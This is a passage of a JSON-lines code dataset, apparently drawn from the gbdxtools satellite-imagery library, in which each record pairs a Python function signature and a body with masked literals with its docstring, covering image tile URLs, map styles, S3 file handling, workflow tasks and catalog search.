'PS' (pansharpened).\n                             'MS' is 4 or 8 bands depending on sensor.\n            chip_format (str): 'TIF' or 'PNG'\n            filename (str): Where to save chip.\n\n        Returns:\n            True if chip is successfully downloaded; else False.", "id": "f7096:c0:m4"}
{"signature": "def get_tms_layers(self,<EOL>catid,<EOL>bands='<STR_LIT>',<EOL>gamma=<NUM_LIT>,<EOL>highcutoff=<NUM_LIT>,<EOL>lowcutoff=<NUM_LIT>,<EOL>brightness=<NUM_LIT:1.0>,<EOL>contrast=<NUM_LIT:1.0>):", "body": "description = self.describe_images(self.get_images_by_catid(catid))<EOL>service_url = '<STR_LIT>'<EOL>urls, bboxes = [], []<EOL>for catid, images in description.items():<EOL><INDENT>for partnum, part in images['<STR_LIT>'].items():<EOL><INDENT>if '<STR_LIT>' in part.keys():<EOL><INDENT>pan_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>if '<STR_LIT>' in part.keys():<EOL><INDENT>ms_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL>ms_partname = '<STR_LIT>'<EOL><DEDENT>elif '<STR_LIT>' in part.keys():<EOL><INDENT>ms_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL>ms_partname = '<STR_LIT>'<EOL><DEDENT>if ms_id:<EOL><INDENT>if pan_id:<EOL><INDENT>band_str = ms_id + '<STR_LIT>' + bands + '<STR_LIT>' + pan_id<EOL><DEDENT>else:<EOL><INDENT>band_str = ms_id + '<STR_LIT>' + bands<EOL><DEDENT>bbox = from_wkt(part[ms_partname]['<STR_LIT>']).bounds<EOL><DEDENT>elif not ms_id and pan_id:<EOL><INDENT>band_str = pan_id + '<STR_LIT>'<EOL>bbox = from_wkt(part['<STR_LIT>']['<STR_LIT>']).bounds<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT>bboxes.append(bbox)<EOL>bucket = part[list(part.keys())[<NUM_LIT:0>]]['<STR_LIT>']<EOL>token = self.gbdx_connection.access_token<EOL>url = (service_url + bucket + '<STR_LIT:/>'<EOL>+ band_str<EOL>+ \"\"\"<STR_LIT>\"\"\".format(gamma,<EOL>highcutoff,<EOL>lowcutoff,<EOL>brightness,<EOL>contrast,<EOL>token))<EOL>urls.append(url)<EOL><DEDENT><DEDENT>return urls, bboxes<EOL>", "docstring": "Get list of urls and bounding boxes corrsponding to idaho images for a given catalog id.\n\n        Args:\n           catid (str): Catalog id\n           bands (str): Bands to display, separated by commas (0-7).\n           gamma (float): gamma coefficient. This is for on-the-fly pansharpening.\n           highcutoff (float): High cut off coefficient (0.0 to 1.0). This is for on-the-fly pansharpening.\n           lowcutoff (float): Low cut off coefficient (0.0 to 1.0). This is for on-the-fly pansharpening.\n           brightness (float): Brightness coefficient (0.0 to 1.0). This is for on-the-fly pansharpening.\n           contrast (float): Contrast coefficient (0.0 to 1.0). This is for on-the-fly pansharpening.\n\n        Returns:\n           urls (list): TMS urls.\n           bboxes (list of tuples): Each tuple is (W, S, E, N) where (W,S,E,N) are the bounds of the corresponding idaho part.", "id": "f7096:c0:m5"}
{"signature": "def create_leaflet_viewer(self, idaho_image_results, filename):", "body": "description = self.describe_images(idaho_image_results)<EOL>if len(description) > <NUM_LIT:0>:<EOL><INDENT>functionstring = '<STR_LIT>'<EOL>for catid, images in description.items():<EOL><INDENT>for partnum, part in images['<STR_LIT>'].items():<EOL><INDENT>num_images = len(list(part.keys()))<EOL>partname = None<EOL>if num_images == <NUM_LIT:1>:<EOL><INDENT>partname = [p for p in list(part.keys())][<NUM_LIT:0>]<EOL>pan_image_id = '<STR_LIT>'<EOL><DEDENT>elif num_images == <NUM_LIT:2>:<EOL><INDENT>partname = [p for p in list(part.keys()) if p is not '<STR_LIT>'][<NUM_LIT:0>]<EOL>pan_image_id = part['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>if not partname:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>bandstr = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT:0>'<EOL>}.get(partname, '<STR_LIT>')<EOL>part_boundstr_wkt = part[partname]['<STR_LIT>']<EOL>part_polygon = from_wkt(part_boundstr_wkt)<EOL>bucketname = part[partname]['<STR_LIT>']<EOL>image_id = part[partname]['<STR_LIT:id>']<EOL>W, S, E, N = part_polygon.bounds<EOL>functionstring += \"<STR_LIT>\" % (<EOL>bucketname, image_id, W, S, E, N, pan_image_id)<EOL><DEDENT><DEDENT>__location__ = os.path.realpath(<EOL>os.path.join(os.getcwd(), os.path.dirname(__file__)))<EOL>try:<EOL><INDENT>with open(os.path.join(__location__, '<STR_LIT>'), '<STR_LIT:r>') as htmlfile:<EOL><INDENT>data = htmlfile.read().decode(\"<STR_LIT:utf8>\")<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>with open(os.path.join(__location__, '<STR_LIT>'), '<STR_LIT:r>') as htmlfile:<EOL><INDENT>data = htmlfile.read()<EOL><DEDENT><DEDENT>data = data.replace('<STR_LIT>', functionstring)<EOL>data = data.replace('<STR_LIT>', str(S))<EOL>data = data.replace('<STR_LIT>', str(W))<EOL>data = data.replace('<STR_LIT>', bandstr)<EOL>data = data.replace('<STR_LIT>', self.gbdx_connection.access_token)<EOL>with codecs.open(filename, '<STR_LIT:w>', '<STR_LIT:utf8>') as outputfile:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" % filename)<EOL>outputfile.write(data)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>", "docstring": "Create a leaflet viewer html file for viewing idaho images.\n\n        Args:\n            idaho_image_results (dict): IDAHO image result set as returned from\n                                        the catalog.\n            filename (str): Where to save output html file.", "id": "f7096:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def get_style_value(style_value):<DEDENT>", "body": "if isinstance(style_value, StyleExpression):<EOL><INDENT>return style_value.expression<EOL><DEDENT>else:<EOL><INDENT>return style_value<EOL><DEDENT>", "docstring": "Decides which value will be added to a style's 'paint' configuration\n\nArgs:\n    style_value: the value set on the style instance\n\nReturns:\n    a value suitable for inclusion in a 'paint' configuration", "id": "f7098:c0:m1"}
{"signature": "def paint(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Renders a javascript snippet suitable for use as a mapbox-gl style entry\n\nReturns:\n    A dict that can be converted to a mapbox-gl javascript 'paint' snippet", "id": "f7098:c0:m2"}
{"signature": "def paint(self):", "body": "snippet = {<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.radius),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.opacity),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.color)<EOL>}<EOL>if self.translate:<EOL><INDENT>snippet['<STR_LIT>'] = self.translate<EOL><DEDENT>return snippet<EOL>", "docstring": "Renders a javascript snippet suitable for use as a mapbox-gl circle paint entry\n\nReturns:\n    A dict that can be converted to a mapbox-gl javascript paint snippet", "id": "f7098:c1:m1"}
{"signature": "def paint(self):", "body": "<EOL>snippet = {<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.opacity),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.color),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.width),<EOL>}<EOL>if self.translate:<EOL><INDENT>snippet['<STR_LIT>'] = self.translate<EOL><DEDENT>if self.dasharray:<EOL><INDENT>snippet['<STR_LIT>'] = VectorStyle.get_style_value(self.dasharray)<EOL><DEDENT>return snippet<EOL>", "docstring": "Renders a javascript snippet suitable for use as a mapbox-gl line paint entry\n\nReturns:\n    A dict that can be converted to a mapbox-gl javascript paint snippet", "id": "f7098:c2:m1"}
{"signature": "def paint(self):", "body": "snippet = {<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.opacity),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.color),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.outline_color)<EOL>}<EOL>if self.translate:<EOL><INDENT>snippet['<STR_LIT>'] = self.translate<EOL><DEDENT>return snippet<EOL>", "docstring": "Renders a javascript snippet suitable for use as a mapbox-gl fill paint entry\n\nReturns:\n    A dict that can be converted to a mapbox-gl javascript paint snippet", "id": "f7098:c3:m1"}
{"signature": "def paint(self):", "body": "snippet = {<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.opacity),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.color),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.base),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.height)<EOL>}<EOL>if self.translate:<EOL><INDENT>snippet['<STR_LIT>'] = self.translate<EOL><DEDENT>return snippet<EOL>", "docstring": "Renders a javascript snippet suitable for use as a mapbox-gl fill-extrusion paint entry\n\nReturns:\n    A dict that can be converted to a mapbox-gl javascript paint snippet", "id": "f7098:c4:m1"}
{"signature": "def paint(self):", "body": "snippet = {<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.radius),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.opacity),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.color),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.intensity),<EOL>'<STR_LIT>': VectorStyle.get_style_value(self.weight)<EOL>}<EOL>return snippet<EOL>", "docstring": "Renders a javascript snippet suitable for use as a mapbox-gl heatmap paint entry\n\nReturns:\n    A dict that can be converted to a mapbox-gl javascript paint snippet", "id": "f7098:c5:m2"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>' % interface.root_url<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.logger = interface.logger<EOL>self._info = None<EOL>self._client = None<EOL>", "docstring": "Instantiate the s3 interface\n\n        Returns:\n            An instance of gbdxtools.S3.", "id": "f7101:c0:m0"}
{"signature": "def _load_info(self):", "body": "url = '<STR_LIT>' % self.base_url<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Get user info for GBDX S3, put into instance vars for convenience.\n\n        Args:\n            None.\n\n        Returns:\n            Dictionary with S3 access key, S3 secret key, S3 session token,\n            user bucket and user prefix (dict).", "id": "f7101:c0:m4"}
{"signature": "def download(self, location, local_dir='<STR_LIT:.>'):", "body": "self.logger.debug('<STR_LIT>')<EOL>bucket = self.info['<STR_LIT>']<EOL>prefix = self.info['<STR_LIT>']<EOL>self.logger.debug('<STR_LIT>')<EOL>s3conn = self.client<EOL>location = location.strip('<STR_LIT:/>')<EOL>self.logger.debug('<STR_LIT>')<EOL>objects = s3conn.list_objects(Bucket=bucket, Prefix=(prefix+'<STR_LIT:/>'+location))<EOL>if '<STR_LIT>' not in objects:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(bucket, prefix, location))<EOL><DEDENT>for s3key in objects['<STR_LIT>']:<EOL><INDENT>key = s3key['<STR_LIT>']<EOL>if not key or key.endswith('<STR_LIT:/>'):<EOL><INDENT>continue<EOL><DEDENT>filepath = key.replace(prefix+'<STR_LIT:/>'+location, '<STR_LIT>', <NUM_LIT:1>).lstrip('<STR_LIT:/>')<EOL>filename = key.split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>file_dir = filepath.split('<STR_LIT:/>')[:-<NUM_LIT:1>]<EOL>file_dir = '<STR_LIT:/>'.join(file_dir)<EOL>full_dir = os.path.join(local_dir, file_dir)<EOL>if not os.path.isdir(full_dir):<EOL><INDENT>os.makedirs(full_dir)<EOL><DEDENT>s3conn.download_file(bucket, key, os.path.join(full_dir, filename))<EOL><DEDENT>self.logger.debug('<STR_LIT>')<EOL>", "docstring": "Download content from bucket/prefix/location.\n           Location can be a directory or a file (e.g., my_dir or my_dir/my_image.tif)\n           If location is a directory, all files in the directory are\n           downloaded. If it is a file, then that file is downloaded.\n\n           Args:\n               location (str): S3 location within prefix.\n               local_dir (str): Local directory where file(s) will be stored.\n                                Default is here.", "id": "f7101:c0:m5"}
{"signature": "def delete(self, location):", "body": "bucket = self.info['<STR_LIT>']<EOL>prefix = self.info['<STR_LIT>']<EOL>self.logger.debug('<STR_LIT>')<EOL>s3conn = self.client <EOL>if location[<NUM_LIT:0>] == '<STR_LIT:/>':<EOL><INDENT>location = location[<NUM_LIT:1>:]<EOL><DEDENT>if location[-<NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>location = location[:-<NUM_LIT:2>]<EOL><DEDENT>self.logger.debug('<STR_LIT>')<EOL>for s3key in s3conn.list_objects(Bucket=bucket, Prefix=(prefix+'<STR_LIT:/>'+location))['<STR_LIT>']:<EOL><INDENT>s3conn.delete_object(Bucket=bucket, Key=s3key['<STR_LIT>'])<EOL><DEDENT>self.logger.debug('<STR_LIT>')<EOL>", "docstring": "Delete content in bucket/prefix/location.\n           Location can be a directory or a file (e.g., my_dir or my_dir/my_image.tif)\n           If location is a directory, all files in the directory are deleted.\n           If it is a file, then that file is deleted.\n\n           Args:\n               location (str): S3 location within prefix. Can be a directory or\n                               a file (e.g., my_dir or my_dir/my_image.tif).", "id": "f7101:c0:m6"}
{"signature": "def upload(self, local_file, s3_path=None):", "body": "if not os.path.exists(local_file):<EOL><INDENT>raise Exception(local_file + \"<STR_LIT>\")<EOL><DEDENT>if s3_path is None:<EOL><INDENT>s3_path = os.path.basename(local_file)<EOL><DEDENT>bucket = self.info['<STR_LIT>']<EOL>prefix = self.info['<STR_LIT>']<EOL>self.logger.debug('<STR_LIT>')<EOL>s3conn = self.client <EOL>self.logger.debug('<STR_LIT>'.format(local_file))<EOL>s3conn.upload_file(local_file, bucket, prefix+'<STR_LIT:/>'+s3_path)<EOL>self.logger.debug('<STR_LIT>')<EOL>return '<STR_LIT>'.format(bucket, prefix, s3_path)<EOL>", "docstring": "Upload files to your DG S3 bucket/prefix.\n\nArgs:\n    local_file (str): a path to a local file to upload, directory structures are not mirrored\n    s3_path: a key (location) on s3 to upload the file to\n\nReturns:\n    str: s3 path file was saved to\n\nExamples:\n    >>> upload('path/to/image.tif')\n    'mybucket/myprefix/image.tif'\n\n    >>> upload('./images/image.tif')\n    'mybucket/myprefix/image.tif'\n\n    >>> upload('./images/image.tif', s3_path='images/image.tif')\n    'mybucket/myprefix/images/image.tif'", "id": "f7101:c0:m7"}
{"signature": "def get_matching_multiplex_port(self,name):", "body": "<EOL>matching_multiplex_ports = [self.__getattribute__(p) for p in self._portnames<EOL>if name.startswith(p)<EOL>and name != p<EOL>and hasattr(self, p)<EOL>and self.__getattribute__(p).is_multiplex<EOL>]<EOL>for port in matching_multiplex_ports:<EOL><INDENT>return port<EOL><DEDENT>return None<EOL>", "docstring": "Given a name, figure out if a multiplex port prefixes this name and return it.  Otherwise return none.", "id": "f7102:c4:m3"}
{"signature": "def __getattribute__(self, k):", "body": "<EOL>if k in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'] or k.startswith('<STR_LIT>'):<EOL><INDENT>return object.__getattribute__(self, k)<EOL><DEDENT>if k in self._portnames:<EOL><INDENT>return object.__getattribute__(self, k)<EOL><DEDENT>if not k in self._portnames:<EOL><INDENT>mp_port = self.get_matching_multiplex_port(k)<EOL>if mp_port:<EOL><INDENT>self.__setattr__(<EOL>k,<EOL>Port(<EOL>mp_port.name,<EOL>mp_port.type,<EOL>mp_port.required,<EOL>mp_port.description,<EOL>value=\"<STR_LIT>\" + self._task_name + \"<STR_LIT::>\" + k,<EOL>is_input_port=False,<EOL>is_multiplex=False<EOL>)<EOL>)<EOL>self._portnames.update([k])<EOL><DEDENT><DEDENT>return object.__getattribute__(self, k)<EOL>", "docstring": "Overwride getattribute for multiplex ports.  If we try to get a port for which a multiplex port\nis a prefix, create the port object and then return it.", "id": "f7102:c6:m1"}
{"signature": "def __init__(self, __task_type, **kwargs):", "body": "self.name = __task_type + '<STR_LIT:_>' + str(uuid.uuid4())[:<NUM_LIT:8>]<EOL>self.name = self.name.replace('<STR_LIT::>','<STR_LIT:_>')  <EOL>self.type = __task_type<EOL>task_registry = TaskRegistry()<EOL>self.definition = task_registry.get_definition(__task_type)<EOL>self.domain = self.definition.get('<STR_LIT>', [{'<STR_LIT>': {}}])[<NUM_LIT:0>]['<STR_LIT>'].get('<STR_LIT>', '<STR_LIT:default>')<EOL>self._timeout = self.definition['<STR_LIT>'].get('<STR_LIT>')<EOL>self.inputs = Inputs(self.input_ports, task=self)<EOL>self.outputs = Outputs(self.output_ports, self.name)<EOL>self.batch_values = None<EOL>self._impersonation_allowed = None<EOL>self.set(**kwargs)<EOL>", "docstring": "Construct an instance of GBDX Task\n\nArgs:\n    __task_type: name of the task\n    **kwargs: key=value pairs for inputs to set on the task\n\nReturns:\n    An instance of Task.", "id": "f7102:c7:m0"}
{"signature": "def set(self, **kwargs):", "body": "for port_name, port_value in kwargs.items():<EOL><INDENT>if hasattr(port_value, '<STR_LIT:value>'):<EOL><INDENT>port_value = port_value.value<EOL><DEDENT>self.inputs.__setattr__(port_name, port_value)<EOL><DEDENT>", "docstring": "Set input values on task\n\nArgs:\n       arbitrary_keys: values for the keys\n\nReturns:\n    None", "id": "f7102:c7:m2"}
{"signature": "def savedata(self, output, location=None):", "body": "output.persist = True<EOL>if location:<EOL><INDENT>output.persist_location = location<EOL><DEDENT>", "docstring": "Save output data from any task in this workflow to S3\n\nArgs:\n       output: Reference task output (e.g. task.outputs.output1).\n\n       location (optional): Subfolder under which the output will be saved.\n                            It will be placed under the account directory in gbd-customer-data bucket:\n                            s3://gbd-customer-data/{account_id}/{location}\n                            Leave blank to save to: workflow_output/{workflow_id}/{task_name}/{port_name}\n\nReturns:\n    None", "id": "f7102:c8:m1"}
{"signature": "def list_workflow_outputs(self):", "body": "workflow_outputs = []<EOL>for task in self.tasks:<EOL><INDENT>for output_port_name in task.outputs._portnames:<EOL><INDENT>if task.outputs.__getattribute__(output_port_name).persist:<EOL><INDENT>workflow_outputs.append(task.name + '<STR_LIT::>' + output_port_name)<EOL><DEDENT><DEDENT><DEDENT>return workflow_outputs<EOL>", "docstring": "Get a list of outputs from the workflow that are saved to S3. To get resolved locations call workflow status.\nArgs:\n    None\n\nReturns:\n    list", "id": "f7102:c8:m3"}
{"signature": "def generate_workflow_description(self):", "body": "if not self.tasks:<EOL><INDENT>raise WorkflowError('<STR_LIT>')<EOL><DEDENT>self.definition = self.workflow_skeleton()<EOL>if self.batch_values:<EOL><INDENT>self.definition[\"<STR_LIT>\"] = self.batch_values<EOL><DEDENT>all_input_port_values = [t.inputs.__getattribute__(input_port_name).value for t in self.tasks for<EOL>input_port_name in t.inputs._portnames]<EOL>for task in self.tasks:<EOL><INDENT>output_multiplex_ports_to_exclude = []<EOL>multiplex_output_port_names = [portname for portname in task.outputs._portnames if<EOL>task.outputs.__getattribute__(portname).is_multiplex]<EOL>for p in multiplex_output_port_names:<EOL><INDENT>output_port_reference = '<STR_LIT>' + task.name + '<STR_LIT::>' + p<EOL>if output_port_reference not in all_input_port_values:<EOL><INDENT>output_multiplex_ports_to_exclude.append(p)<EOL><DEDENT><DEDENT>task_def = task.generate_task_workflow_json(<EOL>output_multiplex_ports_to_exclude=output_multiplex_ports_to_exclude)<EOL>self.definition['<STR_LIT>'].append(task_def)<EOL><DEDENT>if self.callback:<EOL><INDENT>self.definition['<STR_LIT>'] = self.callback<EOL><DEDENT>return self.definition<EOL>", "docstring": "Generate workflow json for launching the workflow against the gbdx api\n\nArgs:\n    None\n\nReturns:\n    json string", "id": "f7102:c8:m4"}
{"signature": "def execute(self):", "body": "<EOL>self.generate_workflow_description()<EOL>if self.batch_values:<EOL><INDENT>self.id = self.workflow.launch_batch_workflow(self.definition)<EOL><DEDENT>else:<EOL><INDENT>self.id = self.workflow.launch(self.definition)<EOL><DEDENT>return self.id<EOL>", "docstring": "Execute the workflow.\n\nArgs:\n    None\n\nReturns:\n    Workflow_id", "id": "f7102:c8:m5"}
{"signature": "@property<EOL><INDENT>def task_ids(self):<DEDENT>", "body": "if not self.id:<EOL><INDENT>raise WorkflowError('<STR_LIT>')<EOL><DEDENT>if self.batch_values:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>wf = self.workflow.get(self.id)<EOL>return [task['<STR_LIT:id>'] for task in wf['<STR_LIT>']]<EOL>", "docstring": "Get the task IDs of a running workflow\n\nArgs:\n    None\n\nReturns:\n    List of task IDs", "id": "f7102:c8:m6"}
{"signature": "def cancel(self):", "body": "if not self.id:<EOL><INDENT>raise WorkflowError('<STR_LIT>')<EOL><DEDENT>if self.batch_values:<EOL><INDENT>self.workflow.batch_workflow_cancel(self.id)<EOL><DEDENT>else:<EOL><INDENT>self.workflow.cancel(self.id)<EOL><DEDENT>", "docstring": "Cancel a running workflow.\n\nArgs:\n    None\n\nReturns:\n    None", "id": "f7102:c8:m8"}
{"signature": "@property<EOL><INDENT>def stdout(self):<DEDENT>", "body": "if not self.id:<EOL><INDENT>raise WorkflowError('<STR_LIT>')<EOL><DEDENT>if self.batch_values:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>wf = self.workflow.get(self.id)<EOL>stdout_list = []<EOL>for task in wf['<STR_LIT>']:<EOL><INDENT>stdout_list.append(<EOL>{<EOL>'<STR_LIT:id>': task['<STR_LIT:id>'],<EOL>'<STR_LIT>': task['<STR_LIT>'],<EOL>'<STR_LIT:name>': task['<STR_LIT:name>'],<EOL>'<STR_LIT>': self.workflow.get_stdout(self.id, task['<STR_LIT:id>'])<EOL>}<EOL>)<EOL><DEDENT>return stdout_list<EOL>", "docstring": "Get stdout from all the tasks of a workflow.\n\n        Returns:\n            (list): tasks with their stdout\n\n        Example:\n            >>> workflow.stdout\n            [\n                {\n                    \"id\": \"4488895771403082552\",\n                    \"taskType\": \"AOP_Strip_Processor\",\n                    \"name\": \"Task1\",\n                    \"stdout\": \"............\"\n                }\n            ]", "id": "f7102:c8:m33"}
{"signature": "@property<EOL><INDENT>def stderr(self):<DEDENT>", "body": "if not self.id:<EOL><INDENT>raise WorkflowError('<STR_LIT>')<EOL><DEDENT>if self.batch_values:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>wf = self.workflow.get(self.id)<EOL>stderr_list = []<EOL>for task in wf['<STR_LIT>']:<EOL><INDENT>stderr_list.append(<EOL>{<EOL>'<STR_LIT:id>': task['<STR_LIT:id>'],<EOL>'<STR_LIT>': task['<STR_LIT>'],<EOL>'<STR_LIT:name>': task['<STR_LIT:name>'],<EOL>'<STR_LIT>': self.workflow.get_stderr(self.id, task['<STR_LIT:id>'])<EOL>}<EOL>)<EOL><DEDENT>return stderr_list<EOL>", "docstring": "Get stderr from all the tasks of a workflow.\n\n        Returns:\n            (list): tasks with their stderr\n\n        Example:\n            >>> workflow.stderr\n            [\n                {\n                    \"id\": \"4488895771403082552\",\n                    \"taskType\": \"AOP_Strip_Processor\",\n                    \"name\": \"Task1\",\n                    \"stderr\": \"............\"\n                }\n            ]", "id": "f7102:c8:m35"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>' % interface.root_url<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.logger = interface.logger<EOL>", "docstring": "Construct the Catalog interface class\n\n        Returns:\n            An instance of the Catalog interface class.", "id": "f7104:c0:m0"}
{"signature": "def get_strip_footprint_wkt(self, catID):", "body": "self.logger.debug('<STR_LIT>')<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': catID<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>footprint = r.json()['<STR_LIT>']['<STR_LIT>']<EOL>return footprint<EOL><DEDENT>elif r.status_code == <NUM_LIT>:<EOL><INDENT>self.logger.debug('<STR_LIT>' % catID)<EOL>r.raise_for_status()<EOL><DEDENT>else:<EOL><INDENT>self.logger.debug('<STR_LIT>' % catID)<EOL>r.raise_for_status()<EOL><DEDENT>", "docstring": "Retrieves the strip footprint WKT string given a cat ID.\n\n        Args:\n            catID (str): The source catalog ID from the platform catalog.\n\n        Returns:\n            footprint (str): A POLYGON of coordinates.", "id": "f7104:c0:m1"}
{"signature": "def get(self, catID, includeRelationships=False):", "body": "url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': catID<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Retrieves the strip footprint WKT string given a cat ID.\n\n        Args:\n            catID (str): The source catalog ID from the platform catalog.\n            includeRelationships (bool): whether to include graph links to related objects.  Default False.\n\n        Returns:\n            record (dict): A dict object identical to the json representation of the catalog record", "id": "f7104:c0:m2"}
{"signature": "def get_strip_metadata(self, catID):", "body": "self.logger.debug('<STR_LIT>')<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': catID<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>return r.json()['<STR_LIT>']<EOL><DEDENT>elif r.status_code == <NUM_LIT>:<EOL><INDENT>self.logger.debug('<STR_LIT>' % catID)<EOL>r.raise_for_status()<EOL><DEDENT>else:<EOL><INDENT>self.logger.debug('<STR_LIT>' % catID)<EOL>r.raise_for_status()<EOL><DEDENT>", "docstring": "Retrieves the strip catalog metadata given a cat ID.\n\n        Args:\n            catID (str): The source catalog ID from the platform catalog.\n\n        Returns:\n            metadata (dict): A metadata dictionary .\n\n            TODO: have this return a class object with interesting information exposed.", "id": "f7104:c0:m3"}
{"signature": "def get_address_coords(self, address):", "body": "url = \"<STR_LIT>\" + address<EOL>r = requests.get(url)<EOL>r.raise_for_status()<EOL>results = r.json()['<STR_LIT>']<EOL>lat = results[<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT:location>']['<STR_LIT>']<EOL>lng = results[<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT:location>']['<STR_LIT>']<EOL>return lat, lng<EOL>", "docstring": "Use the google geocoder to get latitude and longitude for an address string\n\n        Args:\n            address: any address string\n\n        Returns:\n            A tuple of (lat,lng)", "id": "f7104:c0:m4"}
{"signature": "def search_address(self, address, filters=None, startDate=None, endDate=None, types=None):", "body": "lat, lng = self.get_address_coords(address)<EOL>return self.search_point(lat,lng, filters=filters, startDate=startDate, endDate=endDate, types=types)<EOL>", "docstring": "Perform a catalog search over an address string\n\n        Args:\n            address: any address string\n            filters: Array of filters.  Optional.  Example:\n            [\n                \"(sensorPlatformName = 'WORLDVIEW01' OR sensorPlatformName ='QUICKBIRD02')\",\n                \"cloudCover < 10\",\n                \"offNadirAngle < 10\"\n            ]\n            startDate: string.  Optional.  Example: \"2004-01-01T00:00:00.000Z\"\n            endDate: string.  Optional.  Example: \"2004-01-01T00:00:00.000Z\"\n            types: Array of types to search for.  Optional.  Example (and default):  [\"Acquisition\"]\n\n        Returns:\n            catalog search resultset", "id": "f7104:c0:m5"}
{"signature": "def search_point(self, lat, lng, filters=None, startDate=None, endDate=None, types=None, type=None):", "body": "searchAreaWkt = \"<STR_LIT>\" % (lng, lat,lng,lat,lng,lat,lng,lat,lng,lat)<EOL>return self.search(searchAreaWkt=searchAreaWkt, filters=filters, startDate=startDate, endDate=endDate, types=types)<EOL>", "docstring": "Perform a catalog search over a specific point, specified by lat,lng\n\n        Args:\n            lat: latitude\n            lng: longitude\n            filters: Array of filters.  Optional.  Example:\n            [\n                \"(sensorPlatformName = 'WORLDVIEW01' OR sensorPlatformName ='QUICKBIRD02')\",\n                \"cloudCover < 10\",\n                \"offNadirAngle < 10\"\n            ]\n            startDate: string.  Optional.  Example: \"2004-01-01T00:00:00.000Z\"\n            endDate: string.  Optional.  Example: \"2004-01-01T00:00:00.000Z\"\n            types: Array of types to search for.  Optional.  Example (and default):  [\"Acquisition\"]\n\n        Returns:\n            catalog search resultset", "id": "f7104:c0:m6"}
{"signature": "def get_data_location(self, catalog_id):", "body": "try:<EOL><INDENT>record = self.get(catalog_id)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>if '<STR_LIT>' in record['<STR_LIT:type>'] and '<STR_LIT>' in record['<STR_LIT:type>']:<EOL><INDENT>bucket = record['<STR_LIT>']['<STR_LIT>']<EOL>prefix = record['<STR_LIT>']['<STR_LIT>']<EOL>return '<STR_LIT>' + bucket + '<STR_LIT:/>' + prefix<EOL><DEDENT>if '<STR_LIT>' in record['<STR_LIT:type>']:<EOL><INDENT>o = Ordering()<EOL>res = o.location([catalog_id])<EOL>return res['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:location>']<EOL><DEDENT>return None<EOL>", "docstring": "Find and return the S3 data location given a catalog_id.\n\nArgs:\n    catalog_id: The catalog ID\n\nReturns:\n    A string containing the s3 location of the data associated with a catalog ID.  Returns\n    None if the catalog ID is not found, or if there is no data yet associated with it.", "id": "f7104:c0:m7"}
